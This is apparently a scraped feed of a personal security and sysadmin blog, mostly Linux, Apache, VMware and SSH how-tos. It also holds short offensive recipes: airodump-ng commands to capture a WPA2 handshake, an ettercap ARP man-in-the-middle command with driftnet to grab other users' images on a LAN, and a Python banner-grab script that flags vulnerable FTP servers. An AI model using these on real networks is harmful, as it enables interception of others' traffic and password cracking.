&lt;p&gt;&lt;br /&gt; Entrepreneur and security researcher (lost count of certification of stuff like ethical hacker and more) with an extensive back ground of web development. poking around with other languages and operating systems is his number 1 hobby. His native language is c# not English, French or Persian. Cookies, bodybuilding, martial arts and fashion are some of his interest.&lt;/p&gt;</content>
<published>2017-06-06T01:15:00+00:00</published>
<updated>2017-06-06T01:15:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/2'/>
<id>https://wirelessarmy.theproject1.com/2</id>
<author><name>admin</name></author>
</entry> <entry>
<title>How to fix add-apt-repository: command not found</title> 
<content type='html'>fist:
&lt;pre&gt;apt-get install python-software-properties
apt-get install apt-file &amp;&amp; apt-file update&lt;/pre&gt;
then:
&lt;pre&gt;apt-file search add-apt-repository&lt;/pre&gt;</content>
<published>2017-06-06T01:05:00+00:00</published>
<updated>2017-06-06T01:05:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/72'/>
<id>https://wirelessarmy.theproject1.com/72</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Remove the guest account</title> 
<content type='html'>&lt;p&gt;don&amp;rsquo;t want that people use you pc even in a secure way? just remove the guest account on your ubuntu and setup a password.&lt;/p&gt;
&lt;p&gt;how?:&lt;/p&gt;
&lt;pre&gt;control+alt+t&lt;/pre&gt;
&lt;p&gt;past the fallowing code &amp;nbsp;&lt;/p&gt;
&lt;pre&gt;gksudo gedit /etc/lightdm/lightdm.conf&lt;/pre&gt;
&lt;p&gt;a note page will apear then past the fallowing code that the end&lt;/p&gt;
&lt;pre&gt;allow-guest=false&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt; then&lt;br /&gt; &lt;code&gt;control+s&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;it sould look like this&lt;/p&gt;
&lt;pre&gt;[SeatDefaults]
user-session=ubuntu
greeter-session=unity-greeter
allow-guest=false&lt;/pre&gt;
&lt;p&gt;then put this code in the command line (it will log out so save any other project that you are working on to do this)&lt;/p&gt;
&lt;pre&gt;sudo restart lightdm&lt;/pre&gt;</content>
<published>2017-06-06T01:00:00+00:00</published>
<updated>2017-06-06T01:00:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/95'/>
<id>https://wirelessarmy.theproject1.com/95</id>
<author><name>admin</name></author>
</entry> <entry>
<title>fix vmware installation error</title> 
<content type='html'>if you are installing vmware tools on kali linux you may get an error like this:
&lt;pre&gt;blocking file system : failed&lt;/pre&gt;
and it may cause that the vmware share folder or other stuff not work properly
first &lt;pre&gt; apt-get install gcc make linux-headers-$(uname -r)&lt;/pre&gt;
then you want to copy the file &lt;em&gt;version.h&lt;/em&gt; from &lt;em&gt;/lib/modules/3.7-trunk-amd64/build/include/generated/uapi/linux/&lt;/em&gt;  and past it in  &lt;em&gt;/lib/modules/3.7-trunk-amd64/build/include/linux/&lt;/em&gt;
OR just run this command 
&lt;pre&gt;ln -s /usr/src/linux-headers-$(uname -r)/include/generated/uapi/linux/version.h /usr/src/linux-headers-$(uname -r)/include/linux/
&lt;/pre&gt;
then edit the file  &lt;em&gt;/etc/init.d/vmware-tools&lt;/em&gt; and change to function  &lt;em&gt;get_version_integer() &lt;/em&gt; at line 840 to the text below:
&lt;pre&gt;get_version_integer() {
  local version_uts
  local v1
  local v2
  local v3
 
  version_uts=`uname -r`
 
  # There is no double quote around the back-quoted expression on purpose
  # There is no double quote around $version_uts on purpose
  set `IFS=&#039;.&#039;; echo $version_uts`
  v1=&quot;$1&quot;
  v2=&quot;$2&quot;
  v3=&quot;$3&quot;
  # There is no double quote around the back-quoted expression on purpose
  # There is no double quote around $v3 on purpose
  if [ -z &quot;$v1&quot; ]; then
    v1=&quot;0&quot;
  else
    set `IFS=&#039;-ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz&#039;; echo $v1`
    v1=&quot;$1&quot;
  fi
  if [ -z &quot;$v2&quot; ]; then
    v2=&quot;0&quot;
  else
    set `IFS=&#039;-ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz&#039;; echo $v2`
    v2=&quot;$1&quot;
  fi
  if [ -z &quot;$v3&quot; ]; then
    v3=&quot;0&quot;
  else
    set `IFS=&#039;-ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz&#039;; echo $v3`
    v3=&quot;$1&quot;
  fi
 
kernel_version_integer &quot;$v1&quot; &quot;$v2&quot; &quot;$v3&quot;
}&lt;/pre&gt;

now just run this: service vmware-tools restart
</content>
<published>2017-06-06T00:35:00+00:00</published>
<updated>2017-06-06T00:35:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/77'/>
<id>https://wirelessarmy.theproject1.com/77</id>
<author><name>admin</name></author>
</entry> <entry>
<title>windows/mac can’t find your hard drive</title> 
<content type='html'>here is my example and how I solved it.(for you because you&amp;nbsp;formatted&amp;nbsp;your drive with other ids it varies)&lt;/p&gt;
&lt;p&gt;formatted the hard drive on ubuntu with fat format so it can’t be open on linux/mac/windows.&lt;/p&gt;
&lt;p&gt;I connect the hard drive to windows but there was nothing. solution: download &lt;a href=&quot;http://bbs.ipauly.com/&quot;&gt;bootice&lt;/a&gt;&lt;em&gt;&amp;nbsp;(but remember, this program is for professional if you don’t know what are do doing ask for help because you can break your stuff or delete every thing that you have.)&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;chose your hard drive&lt;/li&gt;
&lt;li&gt;click on parts manage&lt;/li&gt;
&lt;li&gt;click on assign drive letter&lt;/li&gt;
&lt;li&gt;wait for 10 seconds and if it didn’t show up and you&amp;nbsp;formatted&amp;nbsp;it with fat on linux&lt;/li&gt;
&lt;li&gt;click on change id and chose 0B: fat32&lt;/li&gt;
&lt;li&gt;now it can be opened on windows/mac/linux&lt;/li&gt;
&lt;/ol&gt;</content>
<published>2017-06-06T00:15:00+00:00</published>
<updated>2017-06-06T00:15:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/131'/>
<id>https://wirelessarmy.theproject1.com/131</id>
<author><name>admin</name></author>
</entry> <entry>
<title>hiding apache server info not working</title> 
<content type='html'>&lt;p&gt;One the ways that you can make hacking your server harder is by hiding the version of software that you are using so hackers don&#039;t know if your server is exploitable with an specific exploit or not.&lt;/p&gt;
&lt;p&gt;2 ways that we can do that is hide the php and apache version.&lt;/p&gt;
&lt;p&gt;if you have tried to add this these lines to your server to hide the apache and OS versions and if failed even after restarting apache.&lt;/p&gt;
&lt;pre&gt;ServerSignature Off &lt;br /&gt;ServerTokens Prod&lt;/pre&gt;
&lt;p&gt;You might want to remove them add add them to /&lt;strong&gt;etc/apache2/conf-available/security.conf&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;and change the expose_php = Off in /etc/php5/apache2/php.ini&lt;/p&gt;
&lt;p&gt;Restart apache server for changes to take effect.&lt;/p&gt;
&lt;pre&gt;service apache2 restart&lt;/pre&gt;</content>
<published>2017-06-02T05:13:00+00:00</published>
<updated>2017-06-02T05:13:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/165'/>
<id>https://wirelessarmy.theproject1.com/165</id>
<author><name>admin</name></author>
</entry> <entry>
<title>change your hostname</title> 
<content type='html'>&lt;p&gt;your can see your host name when you login with ssh&lt;/p&gt;
&lt;pre&gt;root@ubuntu:~#&lt;/pre&gt;
&lt;p&gt;you can type the command &lt;strong&gt;hostname&lt;/strong&gt; to see your hostname that will give you &lt;strong&gt;ubunutu&lt;/strong&gt; (in this case)&lt;br /&gt;you can&amp;nbsp;temporarily change it with typing&amp;nbsp;&lt;strong&gt;hostname&amp;nbsp;myserver&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;or if you want to change it permanetly you cant edit the file&amp;nbsp;&lt;strong&gt;/etc/hostname&lt;/strong&gt; and change ubuntu to myserver&lt;/p&gt;
&lt;p&gt;you may also want to edit&amp;nbsp;&lt;strong&gt;/etc/hosts&lt;/strong&gt;&amp;nbsp;and replace&amp;nbsp;&lt;strong&gt;127.0.0.1&amp;nbsp;ubuntu&lt;/strong&gt; to&amp;nbsp;&lt;strong&gt;127.0.0.1&amp;nbsp;myserver&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;keep in mind these effects will only take place if you restart your server, but if you don&#039;t want to do that you can run this command to do so with out a restart:&lt;/p&gt;
&lt;pre&gt;/etc/init.d/hostname.sh start&lt;/pre&gt;</content>
<published>2017-06-01T13:53:00+00:00</published>
<updated>2017-06-01T13:53:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/176'/>
<id>https://wirelessarmy.theproject1.com/176</id>
<author><name>admin</name></author>
</entry> <entry>
<title>disable sublime pop up update</title> 
<content type='html'>&lt;p&gt;if you get a popup for installing the new sublime text but there is a error with the new build you can get rid of the annoying popup by adding the following to &lt;strong&gt;Preferences -&amp;gt; Settings - User &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;&quot;update_check&quot;: false,&lt;/pre&gt;</content>
<published>2017-05-29T17:25:00+00:00</published>
<updated>2017-05-29T17:25:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/208'/>
<id>https://wirelessarmy.theproject1.com/208</id>
<author><name>admin</name></author>
</entry> <entry>
<title>how to capture wpa2 handshake</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/YC2gEl7q9ik&quot; width=&quot;450&quot; height=&quot;338&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;first we will go to monitor mode&lt;/p&gt;
&lt;pre&gt;airmon-ng start wlan0&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;now we can scan for access points availble&lt;/p&gt;
&lt;pre&gt;airodump-ng mon0&lt;/pre&gt;
&lt;p&gt;now with this command we will start listening.&lt;/p&gt;
&lt;pre&gt;airodump-ng -c 11 -w myfile --bssid (the bssid) mon0&lt;/pre&gt;
&lt;p&gt;-c is for channel -w for file -bssid for router&#039;s bssid and our network interface &lt;br /&gt; we will wait until we captured the handshake&lt;/p&gt;</content>
<published>2017-05-23T13:18:00+00:00</published>
<updated>2017-05-23T13:18:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/83'/>
<id>https://wirelessarmy.theproject1.com/83</id>
<author><name>admin</name></author>
</entry> <entry>
<title>phish images on LAN</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/QsWmBzVBDH8&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;we will use etter can to mitm attack then driftnet to capture images&lt;/p&gt;
&lt;pre&gt;ettercap -T -Q -M arp -i wlan0 // //
driftnet -d /directory/images -i wlan0&lt;/pre&gt;</content>
<published>2017-05-23T04:54:00+00:00</published>
<updated>2017-05-23T04:54:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/79'/>
<id>https://wirelessarmy.theproject1.com/79</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Web templates</title> 
<content type='html'>&lt;h2&gt;download the cms for test and development &lt;a href=&quot;../images/templates/cms1.zip&quot;&gt;cms.zip&lt;/a&gt; or get the &lt;a href=&quot;https://gum.co/OMhIN&quot;&gt;individual license&lt;/a&gt; for deployment&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;../images/templates/basic.zip&quot;&gt;basic, empty&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;../images/templates/underconstruction html.zip&quot;&gt;under construction&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;../images/templates/sha1 salt.zip&quot;&gt;encrypt and decrypt text with salted sha1&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;../images/templates/html5 Repport Template.zip&quot;&gt;web template for reports,(Optimized for pentesters)&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;../images/templates/mysqltojson.zip&quot;&gt;mysql to json (php script to convert)&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;../images/templates/colorpick.zip&quot;&gt;color pick hex and rbg&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;../images/templates/manifest.zip&quot;&gt;cache.manifest generator&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;../images/templates/web-browser.zip&quot;&gt;simple python web browser&lt;/a&gt;&lt;br /&gt; more to come!&lt;br /&gt; if have any suggestions comment down below.&lt;/p&gt;</content>
<published>2017-05-22T04:08:00+00:00</published>
<updated>2017-05-22T04:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/4'/>
<id>https://wirelessarmy.theproject1.com/4</id>
<author><name>admin</name></author>
</entry> <entry>
<title>force ssl via htaccess</title> 
<content type='html'>there are multiple ways to force the ssl, but most will give you different errors. 
the one with less error on different applications (with my experience) is the fallowing lines
&lt;pre&gt;RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://domain.com/$1 [R,L]&lt;/pre&gt;</content>
<published>2017-05-22T04:08:00+00:00</published>
<updated>2017-05-22T04:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/8'/>
<id>https://wirelessarmy.theproject1.com/8</id>
<author><name>admin</name></author>
</entry> <entry>
<title> ftp vulnerability checker</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/VY_BWIfzm64&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;pre&gt;#!/usr/bin/env python
import socket

socket.setdefaulttimeout(2)
s = socket.socket()
try:
	s.connect((&quot;wirelessarmy.com&quot;,21))
except Exception, e:
	print &quot;[-] Error = &quot;+str(e)
ans = s.recv(1024)

if (&quot;FreeFloat Ftp Server (Version 1.00)&quot; in ans):
	print &quot;[+] Free Float FTP Server is vunerable.&quot;
elif (&quot;3com 3CDaemon FTP Server version 2.0&quot; in ans):
	print &quot;[+] 3CDaemon FTP Server is vunerable.&quot;
elif (&quot;Ability Server 2.34&quot; in ans):
	print &quot;[+] Ability FTP Server is vunerable.&quot;
elif (&quot;Sami FTP server 2.0.2&quot; in ans):
	print &quot;[+] Sami FTP Server is vunerable.&quot;
else:
	print ans&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;more detailed&lt;/p&gt;
&lt;pre&gt;&lt;strong&gt;# if you are on linux it will use python to run the script instead of bash&lt;/strong&gt;
#!/usr/bin/env python
&lt;strong&gt;#to make tcp connections&lt;/strong&gt;
import socket 

&lt;strong&gt;#a default time out
socket.setdefaulttimeout(2)&lt;/strong&gt;
s = socket.socket()
&lt;strong&gt;#the ip address and the port of the target (the try except will give and error if the ftp server is down)&lt;/strong&gt;
try:
s.connect((&quot;127.0.0.1&quot;,21))
except Exception, e:
	print &quot;[-] Error = &quot;+str(e)
&lt;strong&gt;# it will recive only the first 1024 bytes of data&lt;/strong&gt;
ans = s.recv(1024)

&lt;strong&gt;#if it can find the string then print&lt;/strong&gt;
if (&quot;FreeFloat Ftp Server (Version 1.00)&quot; in ans):
    print &quot;[+] Free Float FTP Server is vunerable.&quot;
elif (&quot;3com 3CDaemon FTP Server version 2.0&quot; in ans):
    print &quot;[+] 3CDaemon FTP Server is vunerable.&quot;
elif (&quot;Ability Server 2.34&quot; in ans):
    print &quot;[+] Ability FTP Server is vunerable.&quot;
elif (&quot;Sami FTP server 2.0.2&quot; in ans):
    print &quot;[+] Sami FTP Server is vunerable.&quot;
&lt;strong&gt;#if non was true then just print the data captured&lt;/strong&gt;
else: print ans&lt;/pre&gt;</content>
<published>2017-05-22T04:08:00+00:00</published>
<updated>2017-05-22T04:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/48'/>
<id>https://wirelessarmy.theproject1.com/48</id>
<author><name>admin</name></author>
</entry> <entry>
<title>mobile redirection</title> 
<content type='html'>&lt;p&gt;if you want to serve 2 diffrent pages to people using mobile or desktop, you can use a function like this:&lt;/p&gt;
&lt;pre&gt;&amp;lt;?php
function is_mobile(){
	$regex_match=&quot;/(nokia|iphone|android|motorola|^mot\-|softbank|foma|docomo|kddi|up\.browser|up\.link|&quot;;
	$regex_match.=&quot;htc|dopod|blazer|netfront|helio|hosin|huawei|novarra|CoolPad|webos|techfaith|palmsource|&quot;;
	$regex_match.=&quot;blackberry|alcatel|amoi|ktouch|nexian|samsung|^sam\-|s[cg]h|^lge|ericsson|philips|sagem|wellcom|bunjalloo|maui|&quot;;
	$regex_match.=&quot;symbian|smartphone|midp|wap|phone|windows ce|iemobile|^spice|^bird|^zte\-|longcos|pantech|gionee|^sie\-|portalmmm|&quot;;
	$regex_match.=&quot;jig\s browser|hiptop|^ucweb|^benq|haier|^lct|opera\s*mobi|opera\*mini|320x320|240x320|176x220&quot;;
	$regex_match.=&quot;)/i&quot;;
	return isset($_SERVER[&#039;HTTP_X_WAP_PROFILE&#039;]) or isset($_SERVER[&#039;HTTP_PROFILE&#039;]) or preg_match($regex_match, strtolower($_SERVER[&#039;HTTP_USER_AGENT&#039;]));
}
//Redirect to your websites mobile address
if(is_mobile())
 header(&quot;location: https://wirelessarmy.com/mobile&quot;);

?&amp;gt;&lt;/pre&gt;</content>
<published>2017-05-22T04:08:00+00:00</published>
<updated>2017-05-22T04:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/143'/>
<id>https://wirelessarmy.theproject1.com/143</id>
<author><name>admin</name></author>
</entry> <entry>
<title>shared folder not working after upgrade</title> 
<content type='html'>&lt;p&gt;Open vm tools share folder may not&amp;nbsp;work after a linux upgrade.&lt;/p&gt;
&lt;p&gt;you can try to reinstall dkms&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;apt-get remove open-vm-dkms
apt-get install&amp;nbsp;open-vm-dkms&lt;/pre&gt;
&lt;p&gt;This forces the kernal to recompile with vmhgfs support.&lt;/p&gt;
&lt;p&gt;or uninstall and reinstall open vm tools&lt;/p&gt;
&lt;pre&gt;install open-vm-tools-desktop fuse&lt;/pre&gt;
&lt;p&gt;and the run this command:&lt;/p&gt;
&lt;pre&gt;&lt;span class=&quot;kw2&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;EOF &lt;span class=&quot;sy0&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;usr&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;local&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;sbin&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;mount-shared-folders&lt;br /&gt; &lt;span class=&quot;co0&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt; vmware-hgfsclient &lt;span class=&quot;sy0&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;kw1&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;kw2&quot;&gt;read&lt;/span&gt; folder; &lt;span class=&quot;kw1&quot;&gt;do&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &lt;span class=&quot;re2&quot;&gt;vmwpath&lt;/span&gt;=&lt;span class=&quot;st0&quot;&gt;&quot;/mnt/hgfs/&lt;span class=&quot;es1&quot;&gt;\$&lt;/span&gt;{folder}&quot;&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &lt;span class=&quot;kw3&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;[i] Mounting &lt;span class=&quot;es1&quot;&gt;\$&lt;/span&gt;{folder} &amp;nbsp; (&lt;span class=&quot;es1&quot;&gt;\$&lt;/span&gt;{vmwpath})&quot;&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;re5&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;&lt;span class=&quot;es1&quot;&gt;\$&lt;/span&gt;{vmwpath}&quot;&lt;/span&gt;&lt;br /&gt; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;umount&lt;/span&gt; &lt;span class=&quot;re5&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;&lt;span class=&quot;es1&quot;&gt;\$&lt;/span&gt;{vmwpath}&quot;&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;&amp;gt;/&lt;/span&gt;dev&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;null&lt;br /&gt; &amp;nbsp; vmhgfs-fuse &lt;span class=&quot;re5&quot;&gt;-o&lt;/span&gt; allow_other &lt;span class=&quot;re5&quot;&gt;-o&lt;/span&gt; auto_unmount &lt;span class=&quot;st0&quot;&gt;&quot;.host:/&lt;span class=&quot;es1&quot;&gt;\$&lt;/span&gt;{folder}&quot;&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;&lt;span class=&quot;es1&quot;&gt;\$&lt;/span&gt;{vmwpath}&quot;&lt;/span&gt;&lt;br /&gt; &lt;span class=&quot;kw1&quot;&gt;done&lt;/span&gt;&lt;br /&gt; &lt;span class=&quot;kw2&quot;&gt;sleep&lt;/span&gt; 2s&lt;br /&gt; EOF&lt;br /&gt; &lt;span class=&quot;kw2&quot;&gt;chmod&lt;/span&gt; +x &lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;usr&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;local&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;sbin&lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt;mount-shared-folders&lt;/pre&gt;
&lt;p&gt;and the create a shortcut for it:&lt;/p&gt;
&lt;pre&gt;ln -sf /usr/local/sbin/mount-shared-folders /root/Desktop/mount-shared-folders.sh
gsettings set org.gnome.nautilus.preferences executable-text-activation &#039;ask&#039;&lt;/pre&gt;
&lt;p&gt;if that didn&#039;t fix the issue you can try (usually for older models)&lt;/p&gt;
&lt;pre&gt;git clone https://github.com/rasa/vmware-tools-patches.git&lt;br /&gt;cd vmware-tools-patches&lt;br /&gt;./patched-open-vm-tools.sh&lt;/pre&gt;</content>
<published>2017-05-22T04:08:00+00:00</published>
<updated>2017-05-22T04:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/181'/>
<id>https://wirelessarmy.theproject1.com/181</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Protect SSH With Two-Factor Authentication</title> 
<content type='html'>&lt;p&gt;We will use&amp;nbsp;Google Authenticator PAM module.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&amp;nbsp;If you activate the google-authenticator for a normal user but not for root you can&#039;t login with the root user directly anymore. You will need to login as the new user first, then switch to the super user with the su command to get root.&lt;/p&gt;
&lt;p&gt;If you dont want to use a phone for the app you can use a web based app&amp;nbsp;&lt;a href=&quot;../mobile/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;sudo apt-get install libpam-google-authenticator&lt;/pre&gt;
&lt;p&gt;add the fallowing line to /etc/pam.d/sshd&lt;/p&gt;
&lt;pre&gt;auth required pam_google_authenticator.so&lt;/pre&gt;
&lt;p&gt;and this line for the file /etc/ssh/sshd_config&lt;/p&gt;
&lt;pre&gt;ChallengeResponseAuthentication yes&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Finally type&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;google-authenticator
Do you want authentication tokens to be time-based (y/n) y
Do you want me to update your &quot;/home/USERNAME/.google_authenticator&quot; file (y/n) y&lt;/pre&gt;
&lt;p&gt;Scan the code and print out the emergency scratch codes and store them in a safe place! &lt;br /&gt; restart the ssh server.&lt;/p&gt;</content>
<published>2017-05-20T11:10:00+00:00</published>
<updated>2017-05-20T11:10:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/161'/>
<id>https://wirelessarmy.theproject1.com/161</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Mercury Thermostat change</title> 
<content type='html'>&lt;p&gt;If you have an old mercury thermostat and you are getting a digital one the wires could be complicated since the only documentation that you can find is the users manual which is intended for the professional.&lt;br /&gt;Hope fully the new thermostat companies like nest have solved many of the steps but still the wiring from a super old device like the one that I had was a problem even for the customer support theme that I almost returned my device.&lt;/p&gt;
&lt;p&gt;Here we will connect a &lt;br /&gt;with a humidifier 81 to a ecobee 3&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;You have to leave the black wire out, the emergency heat will be managed with the&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;instructions for if we sell the home, Image of old and new are attached&lt;br /&gt;red to rc or rh that has a jumper between the two&lt;br /&gt;green to g (fan)&lt;br /&gt;yellow to y1 (cool)&lt;br /&gt;white to w1 (heat)&lt;br /&gt;orange to o/b&lt;br /&gt;blue to c&lt;br /&gt;black to em heat /tape off (em.heat controlled with w1 on new devices)&lt;br /&gt;for software side, o/b should be triggered for on heat&lt;br /&gt;heat/cool should be put to aux or w1 only for heat so it doesn&#039;t turn on&amp;nbsp;&lt;br /&gt;the outside condenser&lt;br /&gt;humidifier is a generalaire humidifier #81 that works with evaporation&lt;/p&gt;
&lt;p&gt;&lt;img style=&quot;width: 100%;&quot; src=&quot;images/blog/ter-before.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img style=&quot;width: 100%;&quot; src=&quot;images/blog/ter-after.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</content>
<published>2017-05-17T02:40:00+00:00</published>
<updated>2017-05-17T02:40:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/210'/>
<id>https://wirelessarmy.theproject1.com/210</id>
<author><name>admin</name></author>
</entry> <entry>
<title>pure-ftpd</title> 
<content type='html'>&lt;p&gt;if you want to user pure-ftpd on backtrack or if you already installed and you get an error, just fallow along and you will never see the error again&lt;br&gt;
install pure ftp daemon:&lt;/p&gt;
&lt;pre&gt;apt-get install pure-ftpd&lt;/pre&gt;
&lt;p&gt;we will add a user to the linux because we do not want the ftp get a root access&lt;/p&gt;
&lt;pre&gt;atftpd --daemon --port 69 /tmp
groupadd ftpgroup
useradd -g ftpgroup -d /var/www/ftp -s /etc ftpuser
(chose a password)
pure-pw useradd ftpuser -u ftpuser -g ftpgroup -d /var/www/ftp
chown -R ftpuser:ftpgroup /var/www/ftp
ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/60pdb
echo no &amp;gt; /etc/pure-ftpd/conf/PAMAuthentication
echo yes &amp;gt; /etc/pure-ftpd/conf/DontResolve
pure-pw mkdb
pure-ftpd start
pure-ftpd restart&lt;/pre&gt;
&lt;p&gt;do: nano /etc/shells&lt;br&gt;
and replace everything with(adding just the last two lines):&lt;/p&gt;
&lt;pre&gt;# /etc/shells: valid login shells
/bin/csh
/bin/sh
/usr/bin/es
/usr/bin/ksh
/bin/ksh
/usr/bin/rc
/usr/bin/tcsh
/bin/tcsh
/usr/bin/esh
/bin/dash
/bin/bash
/bin/rbash
/usr/bin/screen
/bin/false
/usr/sbin/nologin&lt;/pre&gt;
&lt;p&gt;reboot&lt;br&gt;
now your ftp should work just fine!&lt;/p&gt;</content>
<published>2017-05-16T15:59:00+00:00</published>
<updated>2017-05-16T15:59:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/66'/>
<id>https://wirelessarmy.theproject1.com/66</id>
<author><name>admin</name></author>
</entry> <entry>
<title>List the contents of a compressed file</title> 
<content type='html'>&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;
&lt;table border=&quot;1&quot; width=&quot;100%&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr align=&quot;center&quot;&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;strong&gt;Syntax&lt;/strong&gt;&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;&lt;strong&gt;Example(s)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;gzip -l {.gz file}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;List files from a GZIP archive&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;gzip -l mydata.doc.gz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;unzip -l {.zip file}&lt;/td&gt;
&lt;td width=&quot;33%&quot;&gt;List files from a ZIP archive&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;unzip -l mydata.zip&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;33%&quot;&gt;tar -ztvf {.tar.gz}&lt;br /&gt;tar -jtvf {.tbz2}&lt;/td&gt;
